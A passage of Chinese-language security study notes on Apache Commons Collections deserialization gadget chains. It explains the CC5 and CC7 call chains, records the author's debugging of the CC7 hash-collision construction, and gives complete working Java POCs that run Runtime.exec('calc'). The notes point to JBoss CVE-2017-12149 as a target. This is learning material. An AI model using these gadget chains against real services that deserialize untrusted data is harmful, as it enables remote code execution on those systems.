TiedMapEntry(lazyMap, "key"); BadAttributeValueExpException val=new BadAttributeValueExpException(null); Field v=BadAttributeValueExpException.class.getDeclaredField("val"); v.setAccessible(true); v.set(val, entry); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bos); out.writeObject(val); out.flush(); out.close(); byte[] payload = bos.toByteArray(); System.out.println("Payload generated successfully!"); ByteArrayInputStream bis = new ByteArrayInputStream(payload); ObjectInputStream ois = new java.io.ObjectInputStream(bis); ois.readObject(); ois.close(); System.out.println("Payload deserialized successfully!"); } } - 运行测试
- ysoserial验证
- 生成payload文件

- 反序列化验证
- CC5 存在的意义:当 HashMap/HashSet 的 readObject() 被限制或修复时,BadAttributeValueExpException 提供了另一个触发 toString() 的入口
实战中,JBoss CVE-2017-12149 的利用就推荐使用CC5
CC7链¶
- 扫除前障
- 装饰器模式的结构模型和方法调用
- 结构模型

- super(map) 让父类的 map 字段等于了 LazyMap 内层的那个普通 Map,所以 LazyMap.equals() 实际上是由这个内层 Map 去执行的
- 设计意图:装饰器模式(Decorator Pattern)的特点——装饰类(LazyMap)把核心操作委托给被装饰的对象(内层Map),自己只负责添加额外功能(懒加载)
- 结构模型
- 哈希表中的桶【一句话:桶就是哈希表数组中的一个位置,用来存放哈希值相同的多个键值对。】
- 什么是桶:哈希表(如 Hashtable、HashMap)内部有一个数组,这个数组的每个位置就叫做一个桶(Bucket)。
- 桶的作用:用来存放哈希值相同的entry 不同的 key 可能计算出相同的哈希值(哈希冲突) 所有哈希值相同的 Entry,都放在同一个桶里 桶里用链表把多个 Entry 串起来
- 图解:桶和链表的关系
- 为什么要让两个LazyMap的 hashCode 相等 为了让 Hashtable 在反序列化时把它们放在同一个哈希桶里,从而触发 equals 比较,进而执行攻击链。
- 为什么选 "yy" 和 "zZ"作为lazyMap的键? Hashtable 不允许重复的 key。这两个字符串的 hashCode 恰好相等,让两个LazyMap的key分别等于这两个字符串值都等于1就可以让两个LazyMap的hashcode相等
- 调用链
Hashtable.readObject() | Hashtable.reconstitutionPut() | e.key.equals(key) //LazyMap.equals() | AbstractMapDecorator.equals() // LazyMap父类的方法 | HashMap.equals() | AbstractMap.equals() // 实际触发点 | LazyMap.get() | ChainedTransformer.transform() | ConstantTransformer.transform() | InvokerTransformer.transform() - 关键类源码
- Hashtable.readObject()
反序列化时会用到reconstitutionPut方法
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // ... for (; elements > 0; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value);//关键调用 } } - reconstitutionPut()
如果两个key的hashcode相同就会执行e.key.equals(key),攻击者可以控制e.key=LazyMap1,key=LazyMap2,LazyMap没有equals方法所以会调用父类的,即AbstractMappDecorator.equals(LazyMap2)
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { throw new java.io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } } - AbstractMappDecorator.equals() 此时map的类型为HashMap,HashMap没有equals方法,会调用父类的,即AbstractMap.equals(LazyMap2)
- AbstractMap.equals()
遍历LazyMap1的entrySet与LazyMap2的entry比较,会触发m.get(key),即LazyMap.get()
public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Map)) return false; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false; // 触发LazyMap.get() } else { if (!value.equals(m.get(key))) // 二次触发点 return false; } } } catch (ClassCastException unused) { return false; } catch (NullPointerException unused) { return false; } return true; } - 手工POC
- 构造的关键点
- 要让LazyMap1和LazyMap2的hashcode相等
- 在Hashtable中放入LazyMap1和LazyMap2这两个key之前要把LazyMap2的factory设为无害的然后再用反射修改为ChainedTransformer,放入Hashtable之后要remove清除LazyMap2中的键值对缓存 因为Hashtable的put方法会和reconstitutionPut方法有一样的调用导致调用链在构造阶段(攻击者本地) 就会被提前触发同时回事LazyMap2中出现关于LazyMap1中的key的键值对缓存导致反序列化时LazyMap.get()直接返回缓存的value而不是执行factory.transform()导致调用链无法触发
- 验证poc发现并没有执行弹出计算器的命令

- 因为我想当然的以为反序列化时是按照我设想的m1.equals(m2)所以只把m2的factory设为恶意ChainedTransformer,没有吧m1也设置。但实际上可能是 m1.equals(m2),也可能是 m2.equals(m1)这取决于迭代顺序(不确定)。所有要把两个LazyMap的factory都设置为ChainedTransformer
- 我在创建ChainedTransformer对象时直接把恶意链放入其中
ChainedTransformer ctChain = new ChainedTransformer(new Transformer[]{ct,it,it2,it3}); - 调试查看哪里出了问题
- 关键位置打上断点
- 发现问题:当运行到
map2.put("zZ", 1);时会触发问题
- 当运行到开始反序列化时我突然发现Hashtable中只有m1一个元素,为什么m2没有被放入

- 在Hashtable.put()中加断点

- 在AbstractMap.equals()中加断点观察是否返回true

- 发现确实跳转到true了这也就是为什么Hashtable中只有m1一个元素了

- 我把factory设为ConstantTransformer(1)当m2.get("yy")时发现没有这个key就调用factory.transform("yy")获取value但巧合的是factory是ConstantTransformer(1)会让m2中yy对于的值恰好是1等于m1中yy的value【1】,返回true从而导致不会把m2加入到Hashtable中
- 为了验证是否是我猜想的巧合导致的,我把m2初始的factory设为2
发现成功弹出计算器证明猜想正确 - 改进为了防止再出现这种问题,直接初始时使用空的 Transformer 数组
// 初始时使用空的 Transformer 数组 Transformer[] transformers = new Transformer[]{}; ChainedTransformer ctChain = new ChainedTransformer(transformers); // ... 创建 LazyMap 时使用空的 ctChain Map m1 = LazyMap.decorate(map1, ctChain); Map m2 = LazyMap.decorate(map2, ctChain); // ... 放入 Hashtable // 序列化前才反射替换为真正的恶意链 ctChain = new ChainedTransformer(new Transformer[]{ct,it,it2,it3});
- 完整POC
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class CC7 { public static void main(String[] args) throws Exception { ConstantTransformer ct = new ConstantTransformer(Runtime.class); InvokerTransformer it = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]} ); InvokerTransformer it2 = new InvokerTransformer( "invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[0]} ); InvokerTransformer it3 = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc"} ); Transformer[] transformers = new Transformer[]{}; ChainedTransformer ctChain = new ChainedTransformer(transformers); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy", 1); map2.put("zZ", 1); Map m1 = LazyMap.decorate(map1, ctChain); Map m2 = LazyMap.decorate(map2, ctChain); Hashtable ht = new Hashtable(); ht.put(m1, 1); ht.put(m2, 1); ctChain= new ChainedTransformer(new Transformer[]{ct,it,it2,it3}); Field f = LazyMap.class.getDeclaredField("factory"); f.setAccessible(true); f.set(m2, ctChain); f.set(m1, ctChain); m2.remove("yy"); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(ht); oos.flush(); byte[] bytes = baos.toByteArray(); oos.close(); System.out.println("Payload serialized successfully!"); ByteArrayInputStream bais = new ByteArrayInputStream(bytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); System.out.println("Payload executed successfully!"); } } - ysoserial验证
工具生成的payload也可以成功执行命令

CC3链¶
CC2链¶
CC4链¶
CC1(0)-CC7对比¶

示例:
